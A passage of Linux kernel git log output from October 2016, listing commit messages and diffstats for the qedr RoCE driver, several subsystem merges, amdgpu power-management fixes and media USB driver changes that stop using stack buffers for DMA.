drivers/infiniband/hw/qedr/verbs.h | 9 +++ 3 files changed, 158 insertions(+), 2 deletions(-) commit 048867793046e6bd665869816f4702fc49cc9a18 Author: Ram Amrani Date: Mon Oct 10 13:15:38 2016 +0300 qedr: Add GSI support Add support for GSI over light L2. Signed-off-by: Rajesh Borundia Signed-off-by: Ram Amrani Signed-off-by: Doug Ledford drivers/infiniband/hw/qedr/Makefile | 2 +- drivers/infiniband/hw/qedr/main.c | 3 + drivers/infiniband/hw/qedr/qedr.h | 15 + drivers/infiniband/hw/qedr/qedr_cm.c | 622 +++++++++++++++++++++++++++++++++++ drivers/infiniband/hw/qedr/qedr_cm.h | 21 ++ drivers/infiniband/hw/qedr/verbs.c | 41 +++ drivers/infiniband/hw/qedr/verbs.h | 3 + 7 files changed, 706 insertions(+), 1 deletion(-) commit 1d1424c8f834e4e3b8792d310a94b0e2e8f59b4c Author: Ram Amrani Date: Mon Oct 10 13:15:37 2016 +0300 qedr: Add LL2 RoCE interface Add light L2 interface for RoCE. Signed-off-by: Rajesh Borundia Signed-off-by: Ram Amrani Signed-off-by: Doug Ledford drivers/infiniband/hw/qedr/main.c | 34 +++++++++++++++++++++++++++++++++- drivers/infiniband/hw/qedr/qedr.h | 2 +- 2 files changed, 34 insertions(+), 2 deletions(-) commit afa0e13be754307a9ed7ad31fe42b5ec97948c49 Author: Ram Amrani Date: Mon Oct 10 13:15:36 2016 +0300 qedr: Add support for data path Implement fastpath verbs like ib_send_post, ib_post_recv and ib_poll_cq. Signed-off-by: Rajesh Borundia Signed-off-by: Ram Amrani Signed-off-by: Doug Ledford drivers/infiniband/hw/qedr/main.c | 9 +- drivers/infiniband/hw/qedr/qedr.h | 19 + drivers/infiniband/hw/qedr/qedr_hsi_rdma.h | 562 +++++++++++++++ drivers/infiniband/hw/qedr/verbs.c | 1020 ++++++++++++++++++++++++++++ drivers/infiniband/hw/qedr/verbs.h | 5 + 5 files changed, 1614 insertions(+), 1 deletion(-) commit e0290cce6ac02f8e5ec501f25f6f6900f384550c Author: Ram Amrani Date: Mon Oct 10 13:15:35 2016 +0300 qedr: Add support for memory registeration verbs Add support for user, dma and memory regions registration. Signed-off-by: Rajesh Borundia Signed-off-by: Ram Amrani Signed-off-by: Doug Ledford drivers/infiniband/hw/qedr/main.c | 10 +- drivers/infiniband/hw/qedr/qedr.h | 40 ++++ drivers/infiniband/hw/qedr/verbs.c | 365 +++++++++++++++++++++++++++++++++++++ drivers/infiniband/hw/qedr/verbs.h | 11 ++ 4 files changed, 425 insertions(+), 1 deletion(-) commit cecbcddf6461a11ce229e80bb3981415220c9763 Author: Ram Amrani Date: Mon Oct 10 13:15:34 2016 +0300 qedr: Add support for QP verbs Add support for Queue Pair verbs which adds, deletes, modifies and queries Queue Pairs. Signed-off-by: Rajesh Borundia Signed-off-by: Ram Amrani Signed-off-by: Doug Ledford drivers/infiniband/hw/qedr/main.c | 15 +- drivers/infiniband/hw/qedr/qedr.h | 125 ++++ drivers/infiniband/hw/qedr/qedr_cm.h | 40 + drivers/infiniband/hw/qedr/qedr_hsi_rdma.h | 11 + drivers/infiniband/hw/qedr/verbs.c | 1089 ++++++++++++++++++++++++++++ drivers/infiniband/hw/qedr/verbs.h | 7 + include/uapi/rdma/qedr-abi.h | 34 + 7 files changed, 1320 insertions(+), 1 deletion(-) commit a7efd7773e31b60f695816c27393fc717a9df127 Author: Ram Amrani Date: Mon Oct 10 13:15:33 2016 +0300 qedr: Add support for PD,PKEY and CQ verbs Add support for protection domain and completion queue verbs. Signed-off-by: Rajesh Borundia Signed-off-by: Ram Amrani Signed-off-by: Doug Ledford drivers/infiniband/hw/qedr/main.c | 49 ++- drivers/infiniband/hw/qedr/qedr.h | 78 +++++ drivers/infiniband/hw/qedr/qedr_hsi_rdma.h | 79 +++++ drivers/infiniband/hw/qedr/verbs.c | 539 +++++++++++++++++++++++++++++ drivers/infiniband/hw/qedr/verbs.h | 14 + include/uapi/rdma/qedr-abi.h | 19 + 6 files changed, 777 insertions(+), 1 deletion(-) commit ac1b36e55a5137e2f146e60be36d0cc81069feb6 Author: Ram Amrani Date: Mon Oct 10 13:15:32 2016 +0300 qedr: Add support for user context verbs Add support for ucontext, query port, add and del gid verbs. Signed-off-by: Rajesh Borundia Signed-off-by: Ram Amrani Signed-off-by: Doug Ledford drivers/infiniband/hw/qedr/Makefile | 2 +- drivers/infiniband/hw/qedr/main.c | 26 ++ drivers/infiniband/hw/qedr/qedr.h | 34 +++ drivers/infiniband/hw/qedr/verbs.c | 456 ++++++++++++++++++++++++++++++++++++ drivers/infiniband/hw/qedr/verbs.h | 52 ++++ include/uapi/rdma/qedr-abi.h | 53 +++++ 6 files changed, 622 insertions(+), 1 deletion(-) commit ec72fce401c6dc6fc89c49f30dc2c67920c4d5bf Author: Ram Amrani Date: Mon Oct 10 13:15:31 2016 +0300 qedr: Add support for RoCE HW init Allocate and setup RoCE resources, interrupts and completion queues. Adds device attributes. Signed-off-by: Rajesh Borundia Signed-off-by: Ram Amrani Signed-off-by: Doug Ledford drivers/infiniband/hw/qedr/main.c | 418 ++++++++++++++++++++++++++++- drivers/infiniband/hw/qedr/qedr.h | 123 +++++++++ drivers/infiniband/hw/qedr/qedr_hsi.h | 56 ++++ drivers/infiniband/hw/qedr/qedr_hsi_rdma.h | 96 +++++++ 4 files changed, 691 insertions(+), 2 deletions(-) commit 2e0cbc4dd077aea4f1693583fd68eaed4d60464b Author: Ram Amrani Date: Mon Oct 10 13:15:30 2016 +0300 qedr: Add RoCE driver framework Adds a skeletal implementation of the qed* RoCE driver - basically the ability to communicate with the qede driver and receive notifications from it regarding various init/exit events. Signed-off-by: Rajesh Borundia Signed-off-by: Ram Amrani Signed-off-by: Doug Ledford drivers/infiniband/Kconfig | 2 + drivers/infiniband/hw/Makefile | 1 + drivers/infiniband/hw/qedr/Kconfig | 7 + drivers/infiniband/hw/qedr/Makefile | 3 + drivers/infiniband/hw/qedr/main.c | 254 ++++++++++++++++++++++++++++++++++++ drivers/infiniband/hw/qedr/qedr.h | 61 +++++++++ drivers/net/ethernet/qlogic/Kconfig | 11 -- include/uapi/linux/pci_regs.h | 3 + 8 files changed, 331 insertions(+), 11 deletions(-) commit b6daa51b9a6a02a644dcf6b880fd50c1f70ec07f Merge: f96ed26 9b73966 Author: Linus Torvalds Date: Fri Oct 14 11:46:25 2016 -0700 Merge branch 'for-4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/tj/percpu Pull percpu updates from Tejun Heo: - Nick improved generic implementations of percpu operations which modify the variable and return so that they calculate the physical address only once. - percpu_ref percpu <-> atomic mode switching improvements. The patchset was originally posted about a year ago but fell through the crack. - misc non-critical fixes. * 'for-4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/tj/percpu: mm/percpu.c: fix potential memory leakage for pcpu_embed_first_chunk() mm/percpu.c: correct max_distance calculation for pcpu_embed_first_chunk() percpu: eliminate two sparse warnings percpu: improve generic percpu modify-return implementation percpu-refcount: init ->confirm_switch member properly percpu_ref: allow operation mode switching operations to be called concurrently percpu_ref: restructure operation mode switching percpu_ref: unify staggered atomic switching wait behavior percpu_ref: reorganize __percpu_ref_switch_to_atomic() and relocate percpu_ref_switch_to_atomic() percpu_ref: remove unnecessary RCU grace period for staggered atomic switching confirmation commit f96ed2612260a8a415512eed4fe3f5c77247d4a1 Merge: b56061b 1ce788d Author: Linus Torvalds Date: Fri Oct 14 11:41:28 2016 -0700 Merge branch 'for-4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/tj/libata Pull libata updates from Tejun Heo: - Write same support added - Minor ahci MSIX irq handling updates - Non-critical SCSI command translation fixes - Controller specific changes * 'for-4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/tj/libata: ahci: qoriq: Revert "ahci: qoriq: Disable NCQ on ls2080a SoC" libata: remove libata: remove unused definitions from pata_at91: Use PTR_ERR_OR_ZERO rather than if(IS_ERR(...)) + PTR_ERR ata: Replace BUG() with BUG_ON(). ata: sata_mv: Replacing dma_pool_alloc and memset with a single call dma_pool_zalloc. libata: Some drives failing on SCT Write Same ahci: use pci_alloc_irq_vectors libata: SCT Write Same handle ATA_DFLAG_PIO libata: SCT Write Same / DSM Trim libata: Add support for SCT Write Same libata: Safely overwrite attached page in WRITE SAME xlat ahci: also use a per-port lock for the multi-MSIX case ARM: dts: STiH407-family: Add ports-implemented property in sata nodes ahci: st: Add ports-implemented property in support ahci: qoriq: enable snoopable sata read and write ahci: qoriq: adjust sata parameter libata-scsi: fix MODE SELECT translation for Control mode page libata-scsi: use u8 array to store mode page copy commit b56061b04e0264f3b24f7450a3d5790437bb912a Merge: 4960634 5404fb7 Author: Linus Torvalds Date: Fri Oct 14 11:37:50 2016 -0700 Merge tag 'scsi-misc' of git://git.kernel.org/pub/scm/linux/kernel/git/jejb/scsi Pull more SCSI updates from James Bottomley: "This is just a set of minor updates and fixes which weren't quite ready in time for the first pull request. The only real thing of note is Mike Christie is stepping down as Maintainer of iscsi to be replaced by Lee Duncan and Chris Leech" * tag 'scsi-misc' of git://git.kernel.org/pub/scm/linux/kernel/git/jejb/scsi: scsi: ufs: Kconfig fix scsi: g_NCR5380: Stop using scsi_module.c scsi: g_NCR5380: Reduce overrides[] from array to struct scsi: g_NCR5380: Remove deprecated __setup scsi: ufs: Fix error return code in ufshcd_init() scsi: ufs: Data Segment only needed for WRITE DESCRIPTOR scsi: cxgb4i: Set completion bit in work request MAINTAINERS: Update open-iscsi maintainers scsi: ufs: Enable no vccq quirk for skhynix device scsi: be2iscsi: mark symbols static where possible commit 496063426dece3f47e21f9f3387205d6ca03bd2a Author: Dave Jones Date: Fri Oct 14 14:26:24 2016 -0400 pkeys: Remove easily triggered WARN This easy-to-trigger warning shows up instantly when running Trinity on a kernel with CONFIG_X86_INTEL_MEMORY_PROTECTION_KEYS disabled. At most this should have been a printk, but the -EINVAL alone should be more than adequate indicator that something isn't available. Signed-off-by: Dave Jones Signed-off-by: Linus Torvalds include/linux/pkeys.h | 1 - 1 file changed, 1 deletion(-) commit e9f8f48bcac6f6dd37ad89ad63d1d1a497332313 Merge: d8bfb96 35d0407 Author: Linus Torvalds Date: Fri Oct 14 11:11:39 2016 -0700 Merge tag 'metag-for-v4.9-rc1' of git://git.kernel.org/pub/scm/linux/kernel/git/jhogan/metag Pull metag architecture fix from James Hogan: "A simple build fix for irqsoff atomics which has started hitting meta1_defconfig during the 4.9 merge window" * tag 'metag-for-v4.9-rc1' of git://git.kernel.org/pub/scm/linux/kernel/git/jhogan/metag: metag: Only define atomic_dec_if_positive conditionally commit d8bfb96a2e3c42f91a9944a19638c043cb86dd8f Merge: 11ed3e0 08bf75b Author: Linus Torvalds Date: Fri Oct 14 11:07:42 2016 -0700 Merge tag 'powerpc-4.9-2' of git://git.kernel.org/pub/scm/linux/kernel/git/powerpc/linux Pull more powerpc updates from Michael Ellerman: "Some more powerpc updates for 4.9: Freescale updates from Scott Wood: - qbman support (a prerequisite for datapath drivers such as ethernet) - a PCI DMA fix+improvement - reset handler changes - more 8xx optimizations - some cleanups and fixes.' Fixes: - selftests/powerpc: Add missing binaries to .gitignores (Michael Ellerman) - selftests/powerpc: Fix build break caused by EXPORT_SYMBOL changes (Michael Ellerman) - powerpc/pseries: Fix stack corruption in htpe code (Laurent Dufour) - powerpc/64s: Fix power4_fixup_nap placement (Nicholas Piggin) - powerpc/64: Fix incorrect return value from __copy_tofrom_user (Paul Mackerras) - powerpc/mm/hash64: Fix might_have_hea() check (Michael Ellerman) Other: - MAINTAINERS: Remove myself from PA Semi entries (Olof Johansson) - MAINTAINERS: Drop separate pseries entry (Michael Ellerman) - MAINTAINERS: Update powerpc website & add selftests (Michael Ellerman): * tag 'powerpc-4.9-2' of git://git.kernel.org/pub/scm/linux/kernel/git/powerpc/linux: (35 commits) powerpc/mm/hash64: Fix might_have_hea() check powerpc/64: Fix incorrect return value from __copy_tofrom_user powerpc/64s: Fix power4_fixup_nap placement powerpc/pseries: Fix stack corruption in htpe code selftests/powerpc: Fix build break caused by EXPORT_SYMBOL changes MAINTAINERS: Update powerpc website & add selftests MAINTAINERS: Drop separate pseries entry MAINTAINERS: Remove myself from PA Semi entries selftests/powerpc: Add missing binaries to .gitignores arch/powerpc: Add CONFIG_FSL_DPAA to corenetXX_smp_defconfig soc/qman: Add self-test for QMan driver soc/bman: Add self-test for BMan driver soc/fsl: Introduce DPAA 1.x QMan device driver soc/fsl: Introduce DPAA 1.x BMan device driver powerpc/8xx: make user addr DTLB miss the short path powerpc/8xx: Move additional DTLBMiss handlers out of exception area powerpc/8xx: use r3 to scratch CR in ITLBmiss soc/fsl/qe: fix gpio save_regs functions powerpc/8xx: add dedicated machine check handler powerpc/8xx: add system_reset_exception ... commit 11ed3e0ef354cdc9c4577a187fa60a053137b507 Author: Ralf Baechle Date: Wed Oct 12 11:48:39 2016 +0200 MIPS: Wire up new pkey_{mprotect,alloc,free} syscalls Signed-off-by: Marcin Nowakowski Cc: linux-mips@linux-mips.org Patchwork: https://patchwork.linux-mips.org/patch/14380/ Signed-off-by: Ralf Baechle Signed-off-by: Linus Torvalds arch/mips/include/uapi/asm/unistd.h | 22 ++++++++++++++++------ arch/mips/kernel/scall32-o32.S | 3 +++ arch/mips/kernel/scall64-64.S | 3 +++ arch/mips/kernel/scall64-n32.S | 3 +++ arch/mips/kernel/scall64-o32.S | 3 +++ 5 files changed, 28 insertions(+), 6 deletions(-) commit f28a9b65c9e3697ba8d2ab371fae4fea15638676 Author: Rex Zhu Date: Thu Oct 13 15:24:12 2016 +0800 drm/amd/powerplay: fix bug stop dpm can't work on Vi. Signed-off-by: Rex Zhu Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher .../drm/amd/powerplay/eventmgr/eventactionchains.c | 1 + drivers/gpu/drm/amd/powerplay/hwmgr/smu7_hwmgr.c | 39 +++++++++++++--------- 2 files changed, 25 insertions(+), 15 deletions(-) commit 36c285c5335931d2c67b79e0d0f4e873c858c50d Author: Rex Zhu Date: Thu Oct 13 15:25:09 2016 +0800 drm/amd/powerplay: notify smu no display by default. Signed-off-by: Rex Zhu Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/powerplay/hwmgr/smu7_hwmgr.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 12a7cf5ba6c776a2621d8972c7d42e8d3d959d20 Author: Heinz Mauelshagen Date: Mon Oct 10 18:48:06 2016 +0200 dm mirror: use all available legs on multiple failures When any leg(s) have failed, any read will cause a new operational default leg to be selected and the read is resubmitted to it. If that new default leg fails the read too, no other still accessible legs are used to resubmit the read again -- thus failing the io. Fix by allowing the read to get resubmitted until all operational legs have been exhausted. Also, remove any details.bi_dev use as a flag. Signed-off-by: Heinz Mauelshagen Signed-off-by: Mike Snitzer drivers/md/dm-raid1.c | 21 ++------------------- 1 file changed, 2 insertions(+), 19 deletions(-) commit dcb2ff56417362c31f6b430c3c531a84581e8721 Author: Heinz Mauelshagen Date: Mon Oct 10 17:58:32 2016 +0200 dm mirror: fix read error on recovery after default leg failure If a default leg has failed, any read will cause a new operational default leg to be selected and the read is resubmitted. But until now the read will return failure even though it was successful due to resubmission. The reason for this is bio->bi_error was not being cleared before resubmitting the bio. Fix by clearing bio->bi_error before resubmission. Fixes: 4246a0b63bd8 ("block: add a bi_error field to struct bio") Cc: stable@vger.kernel.org # 4.3+ Signed-off-by: Heinz Mauelshagen Signed-off-by: Mike Snitzer drivers/md/dm-raid1.c | 1 + 1 file changed, 1 insertion(+) commit 59dde8e70cfb7afbc1b647d7d3440dfb9a78b431 Author: kbuild test robot Date: Tue Oct 11 10:22:08 2016 -0300 [media] pctv452e: fix semicolon.cocci warnings drivers/media/usb/dvb-usb/pctv452e.c:115:2-3: Unneeded semicolon Remove unneeded semicolon. Generated by: scripts/coccinelle/misc/semicolon.cocci Signed-off-by: Fengguang Wu Signed-off-by: Mauro Carvalho Chehab drivers/media/usb/dvb-usb/pctv452e.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 154061db8853035deb258b685b8a791cf97f023f Author: Alex Deucher Date: Thu Oct 13 09:55:47 2016 -0400 drm/amdgpu/dpm: implement thermal sensor for CZ/ST Previous code was just a copy/paste from KV. Reviewed-by: Tom St Denis Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/cz_dpm.c | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) commit b430eaba0be5eb7140d0065df96982fa6b5ccc1d Author: Mauro Carvalho Chehab Date: Mon Oct 10 07:55:54 2016 -0300 [media] flexcop-usb: don't use stack for DMA The USB control messages require DMA to work. We cannot pass a stack-allocated buffer, as it is not warranted that the stack would be into a DMA enabled area. While here, remove a dead function calling usb_control_msg(). Signed-off-by: Mauro Carvalho Chehab drivers/media/usb/b2c2/flexcop-usb.c | 105 +++++++++++++++++++++++------------ drivers/media/usb/b2c2/flexcop-usb.h | 4 ++ 2 files changed, 72 insertions(+), 37 deletions(-) commit b5f93cb5133d3ad517afef541502c6c9aecf8e5d Author: Mauro Carvalho Chehab Date: Mon Oct 10 11:17:15 2016 -0300 [media] stk-webcam: don't use stack for DMA The USB control messages require DMA to work. We cannot pass a stack-allocated buffer, as it is not warranted that the stack would be into a DMA enabled area. Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Mauro Carvalho Chehab drivers/media/usb/stkwebcam/stk-webcam.c | 16 +++++++++++----- 1 file changed, 11 insertions(+), 5 deletions(-) commit db65c49e442cf9c9d9dc950f67daf109609f982a Author: Mauro Carvalho Chehab Date: Mon Oct 10 11:11:13 2016 -0300 [media] s2255drv: don't use stack for DMA The USB control messages require DMA to work. We cannot pass a stack-allocated buffer, as it is not warranted that the stack would be into a DMA enabled area. Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Mauro Carvalho Chehab drivers/media/usb/s2255/s2255drv.c | 15 +++++++++++++-- 1 file changed, 13 insertions(+), 2 deletions(-) commit 45ae4a5220a43ae79dacb69054a2c7928dd91c94 Author: Mauro Carvalho Chehab Date: Mon Oct 10 08:28:26 2016 -0300 [media] cpia2_usb: don't use stack for DMA The USB control messages require DMA to work. We cannot pass a stack-allocated buffer, as it is not warranted that the stack would be into a DMA enabled area. Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Mauro Carvalho Chehab drivers/media/usb/cpia2/cpia2_usb.c | 34 ++++++++++++++++++++++++++++++---- 1 file changed, 30 insertions(+), 4 deletions(-) commit 3dadf91cb830ac3a6992e539d82ec604fffe8671 Author: Mauro Carvalho Chehab Date: Fri Oct 7 13:52:31 2016 -0300 [media] digitv: handle error code on RC query There's no sense on decoding and generating a RC key code if there was an error on the URB control message. Signed-off-by: Mauro Carvalho Chehab drivers/media/usb/dvb-usb/digitv.c | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) commit aa9efbc7b64aa1c3bf6682d06e6970b874d55d08 Author: Mauro Carvalho Chehab Date: Fri Oct 7 13:55:53 2016 -0300 [media] dw2102: return error if su3000_power_ctrl() fails Instead of silently ignoring the error, return it. Signed-off-by: Mauro Carvalho Chehab drivers/media/usb/dvb-usb/dw2102.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit e2296021081584bd6f0e2ea21e8b909c1d4b5a07 Author: Mauro Carvalho Chehab Date: Fri Oct 7 13:50:21 2016 -0300 [media] nova-t-usb2: handle error code on RC query There's no sense on decoding and generating a RC key code if there was an error on the URB control message. Signed-off-by: Mauro Carvalho Chehab drivers/media/usb/dvb-usb/nova-t-usb2.c | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) commit ca3d28de6268e75739f0c5d40ec6010b1d84f03a Author: Alex Deucher Date: Thu Oct 13 10:08:00 2016 -0400 drm/amdgpu/powerplay: implement thermal sensor for CZ/ST Add missing functionality. Reviewed-by: Tom St Denis Signed-off-by: Alex Deucher drivers/gpu/drm/amd/powerplay/hwmgr/cz_hwmgr.c | 18 ++++++++++++++++++ 1 file changed, 18 insertions(+) commit 3e96dbfd5899c562e08c7ff27e5d5b21bb218e8a Author: Alex Deucher Date: Thu Oct 13 11:22:17 2016 -0400 drm/amdgpu: disable smu hw first on tear down Otherwise, you can't disable dpm. Tested-by and Reviewed-by: Rex Zhu Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_device.c | 24 ++++++++++++++++++++++++ 1 file changed, 24 insertions(+) commit da146d3b5262c1866c868b9dec1bd0f834d6ded6 Author: Alex Deucher Date: Thu Oct 13 16:07:03 2016 -0400 drm/amdgpu: fix amdgpu_need_full_reset (v2) IP types are not an index. Each asic may have number and type of IPs. Properly check the the type rather than using the type id as an index. v2: fix all the IPs to not use IP type as an idx as well. Reviewed-by: Chunming Zhou Reviewed-by: Christian König Signed-off-by: Alex Deucher Cc: stable@vger.kernel.org drivers/gpu/drm/amd/amdgpu/amdgpu_device.c | 23 ++++++++++++++++------- drivers/gpu/drm/amd/amdgpu/dce_v10_0.c | 12 ++---------- drivers/gpu/drm/amd/amdgpu/gfx_v8_0.c | 17 +++++++++-------- drivers/gpu/drm/amd/amdgpu/gmc_v8_0.c | 13 ++++++------- drivers/gpu/drm/amd/amdgpu/sdma_v3_0.c | 14 ++++++-------- drivers/gpu/drm/amd/amdgpu/tonga_ih.c | 14 ++++++-------- drivers/gpu/drm/amd/amdgpu/uvd_v6_0.c | 14 +++++++------- drivers/gpu/drm/amd/amdgpu/vce_v3_0.c | 15 +++++++-------- drivers/gpu/drm/amd/include/amd_shared.h | 2 +- 9 files changed, 60 insertions(+), 64 deletions(-) commit 88ca3619001380a3147246a22cb356f6065ad713 Author: Mauro Carvalho Chehab Date: Fri Oct 7 12:04:38 2016 -0300 [media] technisat-usb2: use DMA buffers for I2C transfers The USB control messages require DMA to work. We cannot pass a stack-allocated buffer, as it is not warranted that the stack would be into a DMA enabled area. On this driver, most of the transfers are OK, but the I2C one was using stack. Reviewed-by: Patrick Boettcher Signed-off-by: Mauro Carvalho Chehab drivers/media/usb/dvb-usb/technisat-usb2.c | 16 +++++++++++----- 1 file changed, 11 insertions(+), 5 deletions(-) commit 5dfd2c8f263dfcaf614d24734f0af8c1c18a9ca8 Author: Mauro Carvalho Chehab Date: Fri Oct 7 14:15:53 2016 -0300 [media] pctv452e: don't call BUG_ON() on non-fatal error There are some conditions on this driver that are tested with BUG_ON() with are not serious enough to hang a machine. So, just return an error if this happens. Signed-off-by: Mauro Carvalho Chehab drivers/media/usb/dvb-usb/pctv452e.c | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) commit 73d5c5c864f4094e86708760fd4612fbf1e6e76c Author: Mauro Carvalho Chehab Date: Fri Oct 7 11:59:44 2016 -0300 [media] pctv452e: don't do DMA on stack The USB control messages require DMA to work. We cannot pass a stack-allocated buffer, as it is not warranted that the stack would be into a DMA enabled area. Reviewed-by: Patrick Boettcher Signed-off-by: Mauro Carvalho Chehab drivers/media/usb/dvb-usb/pctv452e.c | 129 ++++++++++++++++++++--------------- 1 file changed, 74 insertions(+), 55 deletions(-) commit c3a66e9f465e7e792dff6ccd571bc657e6504c7b Author: Mauro Carvalho Chehab Date: Fri Oct 7 11:38:46 2016 -0300 [media] nova-t-usb2: don't do DMA on stack The USB control messages require DMA to work. We cannot pass a stack-allocated buffer, as it is not warranted that the stack would be into a DMA enabled area. Reviewed-by: Patrick Boettcher Signed-off-by: Mauro Carvalho Chehab drivers/media/usb/dvb-usb/nova-t-usb2.c | 18 +++++++++++++----- 1 file changed, 13 insertions(+), 5 deletions(-) commit f1a503dddf4d4da2b7bbf6ae4e92527bdc265bb9 Author: Mauro Carvalho Chehab Date: Fri Oct 7 14:12:48 2016 -0300 [media] gp8psk: don't go past the buffer size Add checks to avoid going out of the buffer. Signed-off-by: Mauro Carvalho Chehab drivers/media/usb/dvb-usb/gp8psk.c | 11 +++++++++++ 1 file changed, 11 insertions(+) commit fa86c9a1fca5a50563cc63e97aa130a3c54f1d4c Author: Mauro Carvalho Chehab Date: Fri Oct 7 11:24:21 2016 -0300 [media] gp8psk: don't do DMA on stack The USB control messages require DMA to work. We cannot pass a stack-allocated buffer, as it is not warranted that the stack would be into a DMA enabled area. Signed-off-by: Mauro Carvalho Chehab drivers/media/usb/dvb-usb/gp8psk.c | 14 ++++++++++++-- 1 file changed, 12 insertions(+), 2 deletions(-) commit 8f306145df334e2797ef5aa63225cd5178e569c1 Author: Mauro Carvalho Chehab Date: Fri Oct 7 08:51:23 2016 -0300 [media] dtv5100: don't do DMA on stack The USB control messages require DMA to work. We cannot pass a stack-allocated buffer, as it is not warranted that the stack would be into a DMA enabled area. Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Mauro Carvalho Chehab drivers/media/usb/dvb-usb/dtv5100.c | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) commit a3f9f07e06ebf37261171e167e2110b758c2a147 Author: Mauro Carvalho Chehab Date: Fri Oct 7 13:37:50 2016 -0300 [media] dtt200u: handle USB control message errors If something bad happens while an USB control message is transfered, return an error code. Signed-off-by: Mauro Carvalho Chehab drivers/media/usb/dvb-usb/dtt200u.c | 26 ++++++++++++++++++-------- 1 file changed, 18 insertions(+), 8 deletions(-) commit ab883e2de3fc58c0af6070ea067a607a6310772b Author: Mauro Carvalho Chehab Date: Fri Oct 7 08:40:43 2016 -0300 [media] dtt200u: don't do DMA on stack The USB control messages require DMA to work. We cannot pass a stack-allocated buffer, as it is not warranted that the stack would be into a DMA enabled area. Reviewed-by: Patrick Boettcher Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Mauro Carvalho Chehab drivers/media/usb/dvb-usb/dtt200u.c | 104 ++++++++++++++++++++++++++---------- 1 file changed, 75 insertions(+), 29 deletions(-) commit ba705a629ceee28f7ee4a5f977da52278b683eb0 Author: Mauro Carvalho Chehab Date: Fri Oct 7 13:44:09 2016 -0300 [media] dtt200u-fe: handle errors on USB control messages If something goes wrong, return an error code, instead of assuming that everything went fine. Signed-off-by: Mauro Carvalho Chehab drivers/media/usb/dvb-usb/dtt200u-fe.c | 40 ++++++++++++++++++++++++++-------- 1 file changed, 31 insertions(+), 9 deletions(-) commit 89919b518863e7dac98d4d6d4b08ed2113d91d27 Author: Mauro Carvalho Chehab Date: Fri Oct 7 08:06:57 2016 -0300 [media] dtt200u-fe: don't do DMA on stack The USB control messages require DMA to work. We cannot pass a stack-allocated buffer, as it is not warranted that the stack would be into a DMA enabled area. Signed-off-by: Mauro Carvalho Chehab drivers/media/usb/dvb-usb/dtt200u-fe.c | 95 +++++++++++++++++++++++----------- 1 file changed, 65 insertions(+), 30 deletions(-) commit 208d8af509455ebf25f25f974c9907c0eb1a2b0a Author: Mauro Carvalho Chehab Date: Mon Oct 10 15:34:13 2016 -0300 [media] dtt200u-fe: don't keep waiting for lock at set_frontend() It is up to the frontend kthread to wait for lock. Signed-off-by: Mauro Carvalho Chehab drivers/media/usb/dvb-usb/dtt200u-fe.c | 9 --------- 1 file changed, 9 deletions(-) commit f0b0ada7184cca44bb5ae96903eca304cc20eec5 Author: Mauro Carvalho Chehab Date: Fri Oct 7 07:55:38 2016 -0300 [media] digitv: don't do DMA on stack The USB control messages require DMA to work. We cannot pass a stack-allocated buffer, as it is not warranted that the stack would be into a DMA enabled area. Reviewed-by: Patrick Boettcher Signed-off-by: Mauro Carvalho Chehab drivers/media/usb/dvb-usb/digitv.c | 20 +++++++++++--------- drivers/media/usb/dvb-usb/digitv.h | 5 ++++- 2 files changed, 15 insertions(+), 10 deletions(-) commit ff1c123545d706c6e414132c9fc93e345f5141da Author: Mauro Carvalho Chehab Date: Fri Oct 7 13:40:48 2016 -0300 [media] dibusb: handle error code on RC query There's no sense on decoding and generating a RC key code if there was an error on the URB control message. Signed-off-by: Mauro Carvalho Chehab drivers/media/usb/dvb-usb/dibusb-common.c | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) commit 426398b15d9f18ce3e7b5c4e657b4c0103dd8389 Author: Mauro Carvalho Chehab Date: Fri Oct 7 07:34:36 2016 -0300 [media] dibusb: don't do DMA on stack The USB control messages require DMA to work. We cannot pass a stack-allocated buffer, as it is not warranted that the stack would be into a DMA enabled area. Reviewed-by: Patrick Boettcher Signed-off-by: Mauro Carvalho Chehab drivers/media/usb/dvb-usb/dibusb-common.c | 107 +++++++++++++++++++++++------- drivers/media/usb/dvb-usb/dibusb.h | 3 + 2 files changed, 85 insertions(+), 25 deletions(-) commit fa1ecd8dc454fe2d3075a964240f45ceb60cb9e0 Author: Mauro Carvalho Chehab Date: Fri Oct 7 06:53:51 2016 -0300 [media] dib0700_core: don't use stack on I2C reads Be sure that I2C reads won't use stack by passing a pointer to the state buffer, that we know it was allocated via kmalloc, instead of relying on the buffer allocated by an I2C client. Reviewed-by: Patrick Boettcher Signed-off-by: Mauro Carvalho Chehab drivers/media/usb/dvb-usb/dib0700_core.c | 27 ++++++++++++++++++++++++++- 1 file changed, 26 insertions(+), 1 deletion(-) commit bd1f976cc95b0689f889c8d93434ee61dd09b08b Author: Mauro Carvalho Chehab Date: Fri Oct 7 06:40:24 2016 -0300 [media] dib0700: be sure that dib0700_ctrl_rd() users can do DMA dib0700_ctrl_rd() takes a RX and a TX pointer. Be sure that both will point to a memory allocated via kmalloc(). Reviewed-by: Patrick Boettcher Signed-off-by: Mauro Carvalho Chehab drivers/media/usb/dvb-usb/dib0700_core.c | 4 +++- drivers/media/usb/dvb-usb/dib0700_devices.c | 25 +++++++++++++------------ 2 files changed, 16 insertions(+), 13 deletions(-) commit 17ce039b4e5405c49d8c0d64e6d781cc6f4dc1ac Author: Mauro Carvalho Chehab Date: Fri Oct 7 06:30:27 2016 -0300 [media] cxusb: don't do DMA on stack The 